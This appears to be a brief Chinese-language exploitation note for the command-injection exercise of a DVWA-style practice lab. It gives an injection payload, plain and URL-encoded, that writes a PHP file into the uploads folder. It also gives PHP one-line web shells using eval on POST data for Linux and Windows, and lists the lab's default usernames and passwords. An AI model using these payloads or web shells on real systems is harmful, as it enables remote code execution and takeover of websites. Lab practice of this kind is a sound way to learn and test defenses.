1漏洞地址：

http://xxxx.vom/vulnerabilities/exec/source/low.php

2漏洞原因：

命令执行直接拼接

3漏洞验证

linux写入phpinfo(); 到hackable/uploads/目录（也可以直接写在当前目录）
明文内容：
1&echo “<?php phpinfo();?>” > …/…/…/hackable/uploads/4.php
编码后进行利用：
ip=%31%26%65%63%68%6f%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20%3e%20%2e%2e%2f%2e%2e%2f%2e%2e%2f%68%61%63%6b%61%62%6c%65%2f%75%70%6c%6f%61%64%73%2f%34%2e%70%68%70&Submit=Submit

linux写入一句话木马：

echo '<? php @eval($_POST["x"]); ?>' >shell.php

windows写入一句话，防止浏览器写入转义，所以带^：

echo ^<? php @eval($_POST['x']); ?^> >shell.php

4.默认密码

好像直接用默认密码登录也可以的。
gordonb/abc123
1337/charley
pablo/letmein
smithy/password